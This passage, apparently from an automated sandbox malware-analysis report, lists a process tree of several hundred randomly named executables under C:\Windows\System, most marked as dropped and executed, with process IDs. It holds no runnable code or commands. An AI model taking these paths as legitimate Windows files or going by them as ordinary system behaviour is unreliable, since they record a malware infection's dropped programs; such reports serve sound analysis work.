- C:\Windows\System\SiBXTqr.exe
  C:\Windows\System\SiBXTqr.exe
  2⤵
  - Executes dropped EXE
  PID:4236
- C:\Windows\System\DgojYsq.exe
  C:\Windows\System\DgojYsq.exe
  2⤵
  - Executes dropped EXE
  PID:3928
- C:\Windows\System\gVmsaJl.exe
  C:\Windows\System\gVmsaJl.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\zNNOKGN.exe
  C:\Windows\System\zNNOKGN.exe
  2⤵
  - Executes dropped EXE
  PID:2288
- C:\Windows\System\JNnQhIu.exe
  C:\Windows\System\JNnQhIu.exe
  2⤵
  - Executes dropped EXE
  PID:2804
- C:\Windows\System\nfhPTxJ.exe
  C:\Windows\System\nfhPTxJ.exe
  2⤵
  - Executes dropped EXE
  PID:1432
- C:\Windows\System\sHkGNWU.exe
  C:\Windows\System\sHkGNWU.exe
  2⤵
  - Executes dropped EXE
  PID:5024
- C:\Windows\System\wXXRRqF.exe
  C:\Windows\System\wXXRRqF.exe
  2⤵
  - Executes dropped EXE
  PID:2532
- C:\Windows\System\EegqyIW.exe
  C:\Windows\System\EegqyIW.exe
  2⤵
  - Executes dropped EXE
  PID:1804
- C:\Windows\System\IgeSvNZ.exe
  C:\Windows\System\IgeSvNZ.exe
  2⤵
  - Executes dropped EXE
  PID:3816
- C:\Windows\System\YiKeqYv.exe
  C:\Windows\System\YiKeqYv.exe
  2⤵
  - Executes dropped EXE
  PID:4500
- C:\Windows\System\gNufaWL.exe
  C:\Windows\System\gNufaWL.exe
  2⤵
  - Executes dropped EXE
  PID:4104
- C:\Windows\System\CUdDhsK.exe
  C:\Windows\System\CUdDhsK.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\qcVpJwp.exe
  C:\Windows\System\qcVpJwp.exe
  2⤵
  - Executes dropped EXE
  PID:768
- C:\Windows\System\oUyQeUA.exe
  C:\Windows\System\oUyQeUA.exe
  2⤵
  - Executes dropped EXE
  PID:4644
- C:\Windows\System\aNNpcxY.exe
  C:\Windows\System\aNNpcxY.exe
  2⤵
  - Executes dropped EXE
  PID:3288
- C:\Windows\System\qVigpaB.exe
  C:\Windows\System\qVigpaB.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\PdzmRuD.exe
  C:\Windows\System\PdzmRuD.exe
  2⤵
  - Executes dropped EXE
  PID:4424
- C:\Windows\System\BeuIYSf.exe
  C:\Windows\System\BeuIYSf.exe
  2⤵
  - Executes dropped EXE
  PID:4552
- C:\Windows\System\vROumlv.exe
  C:\Windows\System\vROumlv.exe
  2⤵
  - Executes dropped EXE
  PID:3152
- C:\Windows\System\jfRxgrv.exe
  C:\Windows\System\jfRxgrv.exe
  2⤵
  - Executes dropped EXE
  PID:3292
- C:\Windows\System\pECiHuV.exe
  C:\Windows\System\pECiHuV.exe
  2⤵
  - Executes dropped EXE
  PID:940
- C:\Windows\System\EIqmaYR.exe
  C:\Windows\System\EIqmaYR.exe
  2⤵
  - Executes dropped EXE
  PID:4328
- C:\Windows\System\UTeEAWy.exe
  C:\Windows\System\UTeEAWy.exe
  2⤵
  - Executes dropped EXE
  PID:3560
- C:\Windows\System\pvQUbHH.exe
  C:\Windows\System\pvQUbHH.exe
  2⤵
  - Executes dropped EXE
  PID:2224
- C:\Windows\System\ZKHsadv.exe
  C:\Windows\System\ZKHsadv.exe
  2⤵
  - Executes dropped EXE
  PID:3472
- C:\Windows\System\rcuhlyT.exe
  C:\Windows\System\rcuhlyT.exe
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Windows\System\qdAAIvG.exe
  C:\Windows\System\qdAAIvG.exe
  2⤵
  - Executes dropped EXE
  PID:4788
- C:\Windows\System\yVScKTm.exe
  C:\Windows\System\yVScKTm.exe
  2⤵
  - Executes dropped EXE
  PID:2336
- C:\Windows\System\aUZBFLz.exe
  C:\Windows\System\aUZBFLz.exe
  2⤵
  - Executes dropped EXE
  PID:2520
- C:\Windows\System\IKAvuHJ.exe
  C:\Windows\System\IKAvuHJ.exe
  2⤵
  - Executes dropped EXE
  PID:3840
- C:\Windows\System\mdRqGFL.exe
  C:\Windows\System\mdRqGFL.exe
  2⤵
  - Executes dropped EXE
  PID:688
- C:\Windows\System\GtYxhSF.exe
  C:\Windows\System\GtYxhSF.exe
  2⤵
  - Executes dropped EXE
  PID:1064
- C:\Windows\System\JYdpWeq.exe
  C:\Windows\System\JYdpWeq.exe
  2⤵
  - Executes dropped EXE
  PID:2404
- C:\Windows\System\ossacQw.exe
  C:\Windows\System\ossacQw.exe
  2⤵
  - Executes dropped EXE
  PID:2720
- C:\Windows\System\rUuKlgp.exe
  C:\Windows\System\rUuKlgp.exe
  2⤵
  - Executes dropped EXE
  PID:3716
- C:\Windows\System\SFTYaXt.exe
  C:\Windows\System\SFTYaXt.exe
  2⤵
  - Executes dropped EXE
  PID:4760
- C:\Windows\System\HgFEqpw.exe
  C:\Windows\System\HgFEqpw.exe
  2⤵
  - Executes dropped EXE
  PID:1772
- C:\Windows\System\OciLywY.exe
  C:\Windows\System\OciLywY.exe
  2⤵
  - Executes dropped EXE
  PID:324
- C:\Windows\System\tAYCYET.exe
  C:\Windows\System\tAYCYET.exe
  2⤵
  - Executes dropped EXE
  PID:3652
- C:\Windows\System\rFsXGYF.exe
  C:\Windows\System\rFsXGYF.exe
  2⤵
  - Executes dropped EXE
  PID:4092
- C:\Windows\System\RjadULA.exe
  C:\Windows\System\RjadULA.exe
  2⤵
  - Executes dropped EXE
  PID:972
- C:\Windows\System\tdAdnrF.exe
  C:\Windows\System\tdAdnrF.exe
  2⤵
  - Executes dropped EXE
  PID:2364
- C:\Windows\System\nregIoD.exe
  C:\Windows\System\nregIoD.exe
  2⤵
  - Executes dropped EXE
  PID:400
- C:\Windows\System\ZzDRNxy.exe
  C:\Windows\System\ZzDRNxy.exe
  2⤵
  - Executes dropped EXE
  PID:2312
- C:\Windows\System\BTCRFZE.exe
  C:\Windows\System\BTCRFZE.exe
  2⤵
  - Executes dropped EXE
  PID:4364
- C:\Windows\System\bLlwXgh.exe
  C:\Windows\System\bLlwXgh.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\CoQbYRG.exe
  C:\Windows\System\CoQbYRG.exe
  2⤵
  - Executes dropped EXE
  PID:1492
- C:\Windows\System\mQvnxUg.exe
  C:\Windows\System\mQvnxUg.exe
  2⤵
  - Executes dropped EXE
  PID:956
- C:\Windows\System\gySenXh.exe
  C:\Windows\System\gySenXh.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\aLLntGw.exe
  C:\Windows\System\aLLntGw.exe
  2⤵
  - Executes dropped EXE
  PID:3268
- C:\Windows\System\YUJjKuz.exe
  C:\Windows\System\YUJjKuz.exe
  2⤵
  - Executes dropped EXE
  PID:2588
- C:\Windows\System\bfbRDlS.exe
  C:\Windows\System\bfbRDlS.exe
  2⤵
  - Executes dropped EXE
  PID:1716
- C:\Windows\System\fkcAbDP.exe
  C:\Windows\System\fkcAbDP.exe
  2⤵
  - Executes dropped EXE
  PID:4980
- C:\Windows\System\fTaVuqg.exe
  C:\Windows\System\fTaVuqg.exe
  2⤵
  - Executes dropped EXE
  PID:1900
- C:\Windows\System\YgeeVjD.exe
  C:\Windows\System\YgeeVjD.exe
  2⤵
  PID:4480
- C:\Windows\System\avjuYEN.exe
  C:\Windows\System\avjuYEN.exe
  2⤵
  PID:1584
- C:\Windows\System\nVqwnOV.exe
  C:\Windows\System\nVqwnOV.exe
  2⤵
  PID:3216
- C:\Windows\System\fOlQPJL.exe
  C:\Windows\System\fOlQPJL.exe
  2⤵
  PID:1596
- C:\Windows\System\nqjIzSh.exe
  C:\Windows\System\nqjIzSh.exe
  2⤵
  PID:3656
- C:\Windows\System\EYHDBeK.exe
  C:\Windows\System\EYHDBeK.exe
  2⤵
  PID:4112
- C:\Windows\System\PWaJRiP.exe
  C:\Windows\System\PWaJRiP.exe
  2⤵
  PID:3376
- C:\Windows\System\owwvHlg.exe
  C:\Windows\System\owwvHlg.exe
  2⤵
  PID:4680
- C:\Windows\System\zkJzrPz.exe
  C:\Windows\System\zkJzrPz.exe
  2⤵
  PID:4004
- C:\Windows\System\aOrDclj.exe
  C:\Windows\System\aOrDclj.exe
  2⤵
  PID:4784
- C:\Windows\System\loIWSlU.exe
  C:\Windows\System\loIWSlU.exe
  2⤵
  PID:3676
- C:\Windows\System\NDXeERp.exe
  C:\Windows\System\NDXeERp.exe
  2⤵
  PID:5128
- C:\Windows\System\jJKeOYt.exe
  C:\Windows\System\jJKeOYt.exe
  2⤵
  PID:5144
- C:\Windows\System\ZbXkQlg.exe
  C:\Windows\System\ZbXkQlg.exe
  2⤵
  PID:5160
- C:\Windows\System\GdTCHtj.exe
  C:\Windows\System\GdTCHtj.exe
  2⤵
  PID:5176
- C:\Windows\System\NJjstmE.exe
  C:\Windows\System\NJjstmE.exe
  2⤵
  PID:5192
- C:\Windows\System\cWzjIDs.exe
  C:\Windows\System\cWzjIDs.exe
  2⤵
  PID:5208
- C:\Windows\System\DzPdNRJ.exe
  C:\Windows\System\DzPdNRJ.exe
  2⤵
  PID:5224
- C:\Windows\System\PiOOVih.exe
  C:\Windows\System\PiOOVih.exe
  2⤵
  PID:5240
- C:\Windows\System\uzicZSS.exe
  C:\Windows\System\uzicZSS.exe
  2⤵
  PID:5256
- C:\Windows\System\nYNxAKf.exe
  C:\Windows\System\nYNxAKf.exe
  2⤵
  PID:440
- C:\Windows\System\SCXDPWz.exe
  C:\Windows\System\SCXDPWz.exe
  2⤵
  PID:4892
- C:\Windows\System\jYveqlA.exe
  C:\Windows\System\jYveqlA.exe
  2⤵
  PID:1764
- C:\Windows\System\iDEXvLC.exe
  C:\Windows\System\iDEXvLC.exe
  2⤵
  PID:1736
- C:\Windows\System\aUiYiWF.exe
  C:\Windows\System\aUiYiWF.exe
  2⤵
  PID:3688
- C:\Windows\System\EBoZapr.exe
  C:\Windows\System\EBoZapr.exe
  2⤵
  PID:1808
- C:\Windows\System\qlLjfYn.exe
  C:\Windows\System\qlLjfYn.exe
  2⤵
  PID:1616
- C:\Windows\System\pIMzLmb.exe
  C:\Windows\System\pIMzLmb.exe
  2⤵
  PID:1060
- C:\Windows\System\DYtqNjN.exe
  C:\Windows\System\DYtqNjN.exe
  2⤵
  PID:2028
- C:\Windows\System\qVvrkXR.exe
  C:\Windows\System\qVvrkXR.exe
  2⤵
  PID:4016
- C:\Windows\System\aNZlLmy.exe
  C:\Windows\System\aNZlLmy.exe
  2⤵
  PID:4216
- C:\Windows\System\loGHAuO.exe
  C:\Windows\System\loGHAuO.exe
  2⤵
  PID:1268
- C:\Windows\System\MvIUiVq.exe
  C:\Windows\System\MvIUiVq.exe
  2⤵
  PID:5632
- C:\Windows\System\WFIpGDY.exe
  C:\Windows\System\WFIpGDY.exe
  2⤵
  PID:5648
- C:\Windows\System\YnxYXtv.exe
  C:\Windows\System\YnxYXtv.exe
  2⤵
  PID:5684
- C:\Windows\System\PUCmkeZ.exe
  C:\Windows\System\PUCmkeZ.exe
  2⤵
  PID:5700
- C:\Windows\System\SkOnaAv.exe
  C:\Windows\System\SkOnaAv.exe
  2⤵
  PID:5728
- C:\Windows\System\ygiOfHj.exe
  C:\Windows\System\ygiOfHj.exe
  2⤵
  PID:5748
- C:\Windows\System\oZRSFWQ.exe
  C:\Windows\System\oZRSFWQ.exe
  2⤵
  PID:5764
- C:\Windows\System\oXbMQYm.exe
  C:\Windows\System\oXbMQYm.exe
  2⤵
  PID:5784
- C:\Windows\System\OLNMPUt.exe
  C:\Windows\System\OLNMPUt.exe
  2⤵
  PID:5800
- C:\Windows\System\XXHNDjn.exe
  C:\Windows\System\XXHNDjn.exe
  2⤵
  PID:5816
- C:\Windows\System\XyqCaWW.exe
  C:\Windows\System\XyqCaWW.exe
  2⤵
  PID:5832
- C:\Windows\System\FbNACDt.exe
  C:\Windows\System\FbNACDt.exe
  2⤵
  PID:5852
- C:\Windows\System\aVKRdQl.exe
  C:\Windows\System\aVKRdQl.exe
  2⤵
  PID:5868
- C:\Windows\System\tIgIiut.exe
  C:\Windows\System\tIgIiut.exe
  2⤵
  PID:5888
- C:\Windows\System\QymZcWK.exe
  C:\Windows\System\QymZcWK.exe
  2⤵
  PID:5904
- C:\Windows\System\ksCmkHu.exe
  C:\Windows\System\ksCmkHu.exe
  2⤵
  PID:5924
- C:\Windows\System\KKjKmXp.exe
  C:\Windows\System\KKjKmXp.exe
  2⤵
  PID:5940
- C:\Windows\System\cCKJwDw.exe
  C:\Windows\System\cCKJwDw.exe
  2⤵
  PID:1748
- C:\Windows\System\SNBYSVH.exe
  C:\Windows\System\SNBYSVH.exe
  2⤵
  PID:5984
- C:\Windows\System\qKWcAQw.exe
  C:\Windows\System\qKWcAQw.exe
  2⤵
  PID:6008
- C:\Windows\System\ygWjfwg.exe
  C:\Windows\System\ygWjfwg.exe
  2⤵
  PID:6024
- C:\Windows\System\OFvvGcu.exe
  C:\Windows\System\OFvvGcu.exe
  2⤵
  PID:6036
- C:\Windows\System\yTAjLIs.exe
  C:\Windows\System\yTAjLIs.exe
  2⤵
  PID:6052
- C:\Windows\System\oqiZEAj.exe
  C:\Windows\System\oqiZEAj.exe
  2⤵
  PID:6076
- C:\Windows\System\thBHCoY.exe
  C:\Windows\System\thBHCoY.exe
  2⤵
  PID:6104
- C:\Windows\System\orVpEPg.exe
  C:\Windows\System\orVpEPg.exe
  2⤵
  PID:6124
- C:\Windows\System\EQusaAb.exe
  C:\Windows\System\EQusaAb.exe
  2⤵
  PID:6140
- C:\Windows\System\pSFCJdg.exe
  C:\Windows\System\pSFCJdg.exe
  2⤵
  PID:4344
- C:\Windows\System\eQsTIqY.exe
  C:\Windows\System\eQsTIqY.exe
  2⤵
  PID:4164
- C:\Windows\System\hPYOosF.exe
  C:\Windows\System\hPYOosF.exe
  2⤵
  PID:4912
- C:\Windows\System\VfpFhzH.exe
  C:\Windows\System\VfpFhzH.exe
  2⤵
  PID:3300
- C:\Windows\System\YOrgCcT.exe
  C:\Windows\System\YOrgCcT.exe
  2⤵
  PID:5232
- C:\Windows\System\VzawRSq.exe
  C:\Windows\System\VzawRSq.exe
  2⤵
  PID:5188
- C:\Windows\System\aKenjEj.exe
  C:\Windows\System\aKenjEj.exe
  2⤵
  PID:5468
- C:\Windows\System\daPXkHN.exe
  C:\Windows\System\daPXkHN.exe
  2⤵
  PID:2104
- C:\Windows\System\BlrLlaR.exe
  C:\Windows\System\BlrLlaR.exe
  2⤵
  PID:1408
- C:\Windows\System\DoaEKfo.exe
  C:\Windows\System\DoaEKfo.exe
  2⤵
  PID:4220
- C:\Windows\System\xiMvoue.exe
  C:\Windows\System\xiMvoue.exe
  2⤵
  PID:1608
- C:\Windows\System\dJnFiTt.exe
  C:\Windows\System\dJnFiTt.exe
  2⤵
  PID:5896
- C:\Windows\System\rlamIzx.exe
  C:\Windows\System\rlamIzx.exe
  2⤵
  PID:4128
- C:\Windows\System\rXlCwRT.exe
  C:\Windows\System\rXlCwRT.exe
  2⤵
  PID:6068
- C:\Windows\System\YsboNmI.exe
  C:\Windows\System\YsboNmI.exe
  2⤵
  PID:3508
- C:\Windows\System\EthfbkS.exe
  C:\Windows\System\EthfbkS.exe
  2⤵
  PID:5880
- C:\Windows\System\xQBvnFP.exe
  C:\Windows\System\xQBvnFP.exe
  2⤵
  PID:5980
- C:\Windows\System\DqYcFix.exe
  C:\Windows\System\DqYcFix.exe
  2⤵
  PID:1916
- C:\Windows\System\HIoYsOY.exe
  C:\Windows\System\HIoYsOY.exe
  2⤵
  PID:404
- C:\Windows\System\seehzTA.exe
  C:\Windows\System\seehzTA.exe
  2⤵
  PID:5808
- C:\Windows\System\TzTQBEJ.exe
  C:\Windows\System\TzTQBEJ.exe
  2⤵
  PID:5216
- C:\Windows\System\jrbNgqN.exe
  C:\Windows\System\jrbNgqN.exe
  2⤵
  PID:1908
- C:\Windows\System\zpFajpQ.exe
  C:\Windows\System\zpFajpQ.exe
  2⤵
  PID:5948
- C:\Windows\System\XEPvbJM.exe
  C:\Windows\System\XEPvbJM.exe
  2⤵
  PID:5992
- C:\Windows\System\ALaZdXE.exe
  C:\Windows\System\ALaZdXE.exe
  2⤵
  PID:3848
- C:\Windows\System\KsptRhW.exe
  C:\Windows\System\KsptRhW.exe
  2⤵
  PID:6096
- C:\Windows\System\tXUPylJ.exe
  C:\Windows\System\tXUPylJ.exe
  2⤵
  PID:5740
- C:\Windows\System\XuRvwyB.exe
  C:\Windows\System\XuRvwyB.exe
  2⤵
  PID:756
- C:\Windows\System\RblzXEo.exe
  C:\Windows\System\RblzXEo.exe
  2⤵
  PID:4232
- C:\Windows\System\obnbJMs.exe
  C:\Windows\System\obnbJMs.exe
  2⤵
  PID:6152
- C:\Windows\System\XLUACjl.exe
  C:\Windows\System\XLUACjl.exe
  2⤵
  PID:6172
- C:\Windows\System\PjkCQsE.exe
  C:\Windows\System\PjkCQsE.exe
  2⤵
  PID:6192
- C:\Windows\System\sEWtTTI.exe
  C:\Windows\System\sEWtTTI.exe
  2⤵
  PID:6220
- C:\Windows\System\PMuVnQO.exe
  C:\Windows\System\PMuVnQO.exe
  2⤵
  PID:6236
- C:\Windows\System\wxgPutp.exe
  C:\Windows\System\wxgPutp.exe
  2⤵
  PID:6256
- C:\Windows\System\BsTcLrR.exe
  C:\Windows\System\BsTcLrR.exe
  2⤵
  PID:6292
- C:\Windows\System\SMonNrD.exe
  C:\Windows\System\SMonNrD.exe
  2⤵
  PID:6320
- C:\Windows\System\ndTzkVQ.exe
  C:\Windows\System\ndTzkVQ.exe
  2⤵
  PID:6340
- C:\Windows\System\oUesZEm.exe
  C:\Windows\System\oUesZEm.exe
  2⤵
  PID:6360
- C:\Windows\System\ZAytqUP.exe
  C:\Windows\System\ZAytqUP.exe
  2⤵
  PID:6376
- C:\Windows\System\HbjfcjS.exe
  C:\Windows\System\HbjfcjS.exe
  2⤵
  PID:6396
- C:\Windows\System\GgHArTF.exe
  C:\Windows\System\GgHArTF.exe
  2⤵
  PID:6420
- C:\Windows\System\ZBmMcTX.exe
  C:\Windows\System\ZBmMcTX.exe
  2⤵
  PID:6440
- C:\Windows\System\BhWNaFD.exe
  C:\Windows\System\BhWNaFD.exe
  2⤵
  PID:6460
- C:\Windows\System\mrUmUbn.exe
  C:\Windows\System\mrUmUbn.exe
  2⤵
  PID:6488
- C:\Windows\System\mbVfJIm.exe
  C:\Windows\System\mbVfJIm.exe
  2⤵
  PID:6508
- C:\Windows\System\tjZfVEZ.exe
  C:\Windows\System\tjZfVEZ.exe
  2⤵
  PID:6532
- C:\Windows\System\DmBwUgy.exe
  C:\Windows\System\DmBwUgy.exe
  2⤵
  PID:6556
- C:\Windows\System\tVOdClU.exe
  C:\Windows\System\tVOdClU.exe
  2⤵
  PID:6580
- C:\Windows\System\phcywmR.exe
  C:\Windows\System\phcywmR.exe
  2⤵
  PID:6600
- C:\Windows\System\kmwoHBO.exe
  C:\Windows\System\kmwoHBO.exe
  2⤵
  PID:6628
- C:\Windows\System\bCjhjnR.exe
  C:\Windows\System\bCjhjnR.exe
  2⤵
  PID:6648
- C:\Windows\System\zVTrNll.exe
  C:\Windows\System\zVTrNll.exe
  2⤵
  PID:6664
- C:\Windows\System\XHJtgtR.exe
  C:\Windows\System\XHJtgtR.exe
  2⤵
  PID:6688
- C:\Windows\System\vtbwRwX.exe
  C:\Windows\System\vtbwRwX.exe
  2⤵
  PID:6708
- C:\Windows\System\xjewfdD.exe
  C:\Windows\System\xjewfdD.exe
  2⤵
  PID:6724
- C:\Windows\System\lREPXap.exe
  C:\Windows\System\lREPXap.exe
  2⤵
  PID:6744
- C:\Windows\System\qCQHyWi.exe
  C:\Windows\System\qCQHyWi.exe
  2⤵
  PID:6768
- C:\Windows\System\vVftELA.exe
  C:\Windows\System\vVftELA.exe
  2⤵
  PID:6792
- C:\Windows\System\VHWzxvC.exe
  C:\Windows\System\VHWzxvC.exe
  2⤵
  PID:6816
- C:\Windows\System\GSOEvPa.exe
  C:\Windows\System\GSOEvPa.exe
  2⤵
  PID:6848
- C:\Windows\System\LdvqCAN.exe
  C:\Windows\System\LdvqCAN.exe
  2⤵
  PID:6864
- C:\Windows\System\AHuUtYB.exe
  C:\Windows\System\AHuUtYB.exe
  2⤵
  PID:6888
- C:\Windows\System\JwcnsTx.exe
  C:\Windows\System\JwcnsTx.exe
  2⤵
  PID:6904
- C:\Windows\System\IokgmkD.exe
  C:\Windows\System\IokgmkD.exe
  2⤵
  PID:6928
- C:\Windows\System\acsUOoa.exe
  C:\Windows\System\acsUOoa.exe
  2⤵
  PID:6944
- C:\Windows\System\GEaSSPi.exe
  C:\Windows\System\GEaSSPi.exe
  2⤵
  PID:6968
- C:\Windows\System\ietlpcN.exe
  C:\Windows\System\ietlpcN.exe
  2⤵
  PID:6992
- C:\Windows\System\jMictUK.exe
  C:\Windows\System\jMictUK.exe
  2⤵
  PID:7016
- C:\Windows\System\NoTJeyH.exe
  C:\Windows\System\NoTJeyH.exe
  2⤵
  PID:7036
- C:\Windows\System\eRQwhXm.exe
  C:\Windows\System\eRQwhXm.exe
  2⤵
  PID:7060
- C:\Windows\System\YYmHrbO.exe
  C:\Windows\System\YYmHrbO.exe
  2⤵
  PID:1436
- C:\Windows\System\eCBWHTB.exe
  C:\Windows\System\eCBWHTB.exe
  2⤵
  PID:1588
- C:\Windows\System\IqwuhqU.exe
  C:\Windows\System\IqwuhqU.exe
  2⤵
  PID:5236
- C:\Windows\System\huKPcCN.exe
  C:\Windows\System\huKPcCN.exe
  2⤵
  PID:5916
- C:\Windows\System\NaMgEcJ.exe
  C:\Windows\System\NaMgEcJ.exe
  2⤵
  PID:5484
- C:\Windows\System\neWLdYm.exe
  C:\Windows\System\neWLdYm.exe
  2⤵
  PID:6164
- C:\Windows\System\eJdrfjZ.exe
  C:\Windows\System\eJdrfjZ.exe
  2⤵
  PID:6232
- C:\Windows\System\rBhDgtI.exe
  C:\Windows\System\rBhDgtI.exe
  2⤵
  PID:6280
- C:\Windows\System\ZnZCDCt.exe
  C:\Windows\System\ZnZCDCt.exe
  2⤵
  PID:6368
- C:\Windows\System\cPmYvfr.exe
  C:\Windows\System\cPmYvfr.exe
  2⤵
  PID:6412
- C:\Windows\System\hbhnMSO.exe
  C:\Windows\System\hbhnMSO.exe
  2⤵
  PID:6452
- C:\Windows\System\FEZQhvf.exe
  C:\Windows\System\FEZQhvf.exe
  2⤵
  PID:6516
- C:\Windows\System\BxdzhBO.exe
  C:\Windows\System\BxdzhBO.exe
  2⤵
  PID:6544
- C:\Windows\System\rCGCItC.exe
  C:\Windows\System\rCGCItC.exe
  2⤵
  PID:6592
- C:\Windows\System\yrgGGhJ.exe
  C:\Windows\System\yrgGGhJ.exe
  2⤵
  PID:4020
- C:\Windows\System\UspgcYL.exe
  C:\Windows\System\UspgcYL.exe
  2⤵
  PID:6740
- C:\Windows\System\QfXmXiE.exe
  C:\Windows\System\QfXmXiE.exe
  2⤵
  PID:6388
- C:\Windows\System\hiyWiWN.exe
  C:\Windows\System\hiyWiWN.exe
  2⤵
  PID:6984
- C:\Windows\System\PsxSJvy.exe
  C:\Windows\System\PsxSJvy.exe
  2⤵
  PID:6640
- C:\Windows\System\jeejLVK.exe
  C:\Windows\System\jeejLVK.exe
  2⤵
  PID:6720
- C:\Windows\System\OnnrXMR.exe
  C:\Windows\System\OnnrXMR.exe
  2⤵
  PID:6356
- C:\Windows\System\KvYYKFj.exe
  C:\Windows\System\KvYYKFj.exe
  2⤵
  PID:6788
- C:\Windows\System\CkUCBei.exe
  C:\Windows\System\CkUCBei.exe
  2⤵
  PID:4776
- C:\Windows\System\HwFcdPD.exe
  C:\Windows\System\HwFcdPD.exe
  2⤵
  PID:6500
- C:\Windows\System\oonecvI.exe
  C:\Windows\System\oonecvI.exe
  2⤵
  PID:7188
- C:\Windows\System\WTBDkcE.exe
  C:\Windows\System\WTBDkcE.exe
  2⤵
  PID:7208
- C:\Windows\System\mECkQUY.exe
  C:\Windows\System\mECkQUY.exe
  2⤵
  PID:7232
- C:\Windows\System\YUeIELP.exe
  C:\Windows\System\YUeIELP.exe
  2⤵
  PID:7256
- C:\Windows\System\MOeSJoK.exe
  C:\Windows\System\MOeSJoK.exe
  2⤵
  PID:7276
- C:\Windows\System\dJckubo.exe
  C:\Windows\System\dJckubo.exe
  2⤵
  PID:7300
- C:\Windows\System\JNhijFI.exe
  C:\Windows\System\JNhijFI.exe
  2⤵
  PID:7320
- C:\Windows\System\IQCgKFd.exe
  C:\Windows\System\IQCgKFd.exe
  2⤵
  PID:7340
- C:\Windows\System\CyMVGxQ.exe
  C:\Windows\System\CyMVGxQ.exe
  2⤵
  PID:7364
- C:\Windows\System\aoHsOdJ.exe
  C:\Windows\System\aoHsOdJ.exe
  2⤵
  PID:7388
- C:\Windows\System\QlZfTyG.exe
  C:\Windows\System\QlZfTyG.exe
  2⤵
  PID:7408
- C:\Windows\System\fZilHAc.exe
  C:\Windows\System\fZilHAc.exe
  2⤵
  PID:7440
- C:\Windows\System\BoTBEZX.exe
  C:\Windows\System\BoTBEZX.exe
  2⤵
  PID:7464
- C:\Windows\System\pJYuQdI.exe
  C:\Windows\System\pJYuQdI.exe
  2⤵
  PID:7484
- C:\Windows\System\EdZgtxF.exe
  C:\Windows\System\EdZgtxF.exe
  2⤵
  PID:7508
- C:\Windows\System\AjwLWbE.exe
  C:\Windows\System\AjwLWbE.exe
  2⤵
  PID:7532
- C:\Windows\System\gpynaWe.exe
  C:\Windows\System\gpynaWe.exe
  2⤵
  PID:7564
- C:\Windows\System\wOoaypW.exe
  C:\Windows\System\wOoaypW.exe
  2⤵
  PID:7580
- C:\Windows\System\BbUchcu.exe
  C:\Windows\System\BbUchcu.exe
  2⤵
  PID:7604
- C:\Windows\System\tPxfUNK.exe
  C:\Windows\System\tPxfUNK.exe
  2⤵
  PID:7628
- C:\Windows\System\OgPSLaj.exe
  C:\Windows\System\OgPSLaj.exe
  2⤵
  PID:7648
- C:\Windows\System\DejtStE.exe
  C:\Windows\System\DejtStE.exe
  2⤵
  PID:7672
- C:\Windows\System\XCsocYc.exe
  C:\Windows\System\XCsocYc.exe
  2⤵
  PID:7696
- C:\Windows\System\uMmxCEO.exe
  C:\Windows\System\uMmxCEO.exe
  2⤵
  PID:7716
- C:\Windows\System\NjFhLIW.exe
  C:\Windows\System\NjFhLIW.exe
  2⤵
  PID:7736
- C:\Windows\System\UCGWaZU.exe
  C:\Windows\System\UCGWaZU.exe
  2⤵
  PID:7760
- C:\Windows\System\EBQaYHg.exe
  C:\Windows\System\EBQaYHg.exe
  2⤵
  PID:7784
- C:\Windows\System\yjTiHDU.exe
  C:\Windows\System\yjTiHDU.exe
  2⤵
  PID:7812
- C:\Windows\System\kxEAJLu.exe
  C:\Windows\System\kxEAJLu.exe
  2⤵
  PID:7832
- C:\Windows\System\JrDAqRA.exe
  C:\Windows\System\JrDAqRA.exe
  2⤵
  PID:7852
- C:\Windows\System\xQIAfJb.exe
  C:\Windows\System\xQIAfJb.exe
  2⤵
  PID:7876
- C:\Windows\System\YnZlGwJ.exe
  C:\Windows\System\YnZlGwJ.exe
  2⤵
  PID:7896
- C:\Windows\System\UwJUmds.exe
  C:\Windows\System\UwJUmds.exe
  2⤵
  PID:7920
- C:\Windows\System\ioCOoDD.exe
  C:\Windows\System\ioCOoDD.exe
  2⤵
  PID:7940
- C:\Windows\System\qsHCmdT.exe
  C:\Windows\System\qsHCmdT.exe
  2⤵
  PID:7960
- C:\Windows\System\WVkHhLh.exe
  C:\Windows\System\WVkHhLh.exe
  2⤵
  PID:7980
- C:\Windows\System\vPepNCt.exe
  C:\Windows\System\vPepNCt.exe
  2⤵
  PID:8008
- C:\Windows\System\WUXSUHV.exe
  C:\Windows\System\WUXSUHV.exe
  2⤵
  PID:8028
- C:\Windows\System\pQnCUum.exe
  C:\Windows\System\pQnCUum.exe
  2⤵
  PID:8052
- C:\Windows\System\sVPEaxw.exe
  C:\Windows\System\sVPEaxw.exe
  2⤵
  PID:8088
- C:\Windows\System\YeUlium.exe
  C:\Windows\System\YeUlium.exe
  2⤵
  PID:8108
- C:\Windows\System\LrrhXFC.exe
  C:\Windows\System\LrrhXFC.exe
  2⤵
  PID:8128
- C:\Windows\System\jFjWurc.exe
  C:\Windows\System\jFjWurc.exe
  2⤵
  PID:8152
- C:\Windows\System\ZpsKebV.exe
  C:\Windows\System\ZpsKebV.exe
  2⤵
  PID:8176
- C:\Windows\System\RKhfWDi.exe
  C:\Windows\System\RKhfWDi.exe
  2⤵
  PID:7032
- C:\Windows\System\UAYCoro.exe
  C:\Windows\System\UAYCoro.exe
  2⤵
  PID:7056
- C:\Windows\System\clpdrpF.exe
  C:\Windows\System\clpdrpF.exe
  2⤵
  PID:5776
- C:\Windows\System\CohPCcY.exe
  C:\Windows\System\CohPCcY.exe
  2⤵
  PID:6684
- C:\Windows\System\CtrLOPD.exe
  C:\Windows\System\CtrLOPD.exe
  2⤵
  PID:6148
- C:\Windows\System\nVAdEgh.exe
  C:\Windows\System\nVAdEgh.exe
  2⤵
  PID:6428
- C:\Windows\System\cxdoxQC.exe
  C:\Windows\System\cxdoxQC.exe
  2⤵
  PID:6184
- C:\Windows\System\nOBPcGb.exe
  C:\Windows\System\nOBPcGb.exe
  2⤵
  PID:6836
- C:\Windows\System\JTHVTTb.exe
  C:\Windows\System\JTHVTTb.exe
  2⤵
  PID:6776
- C:\Windows\System\rSvluQf.exe
  C:\Windows\System\rSvluQf.exe
  2⤵
  PID:6916
- C:\Windows\System\rukncYT.exe
  C:\Windows\System\rukncYT.exe
  2⤵
